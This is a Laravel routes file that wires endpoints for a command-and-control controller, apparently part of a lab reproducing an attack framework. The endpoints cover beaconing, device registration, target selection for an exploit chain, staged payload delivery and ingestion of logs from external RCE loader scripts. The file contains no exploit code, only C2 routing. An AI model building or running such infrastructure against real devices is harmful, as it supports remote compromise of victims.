Files
coruna-lab/routes/ds.php
T
2026-09-12 03:42:48 +08:00

25 lines
884 B
PHP

<?php
use App\Http\Controllers\C2\DarkSwordC2Controller;
use Illuminate\Support\Facades\Route;
$ds = DarkSwordC2Controller::class;
// Shared /a /u /nb /event /result are declared in routes/xxbb.php
// (same URI, DarkSword vs xxbb chosen per request).
Route::any('/beacon', [$ds, 'beacon']);
Route::any('/war', [$ds, 'war']);
Route::any('/p', [$ds, 'p']);
Route::any('/stats', [$ds, 'stats']);
Route::any('/api/ds/log', [$ds, 'log']);
// /log.html: external exploit chain (rce_loader.js + rce_worker_*.js) sends
// progress logs here via XMLHttpRequest GET with query params (id, text, hex).
// Maps to the same controller as /api/ds/log for unified log ingestion.
Route::any('/log.html', [$ds, 'log']);
Route::any('/api/ds/device/register', [$ds, 'register']);
Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);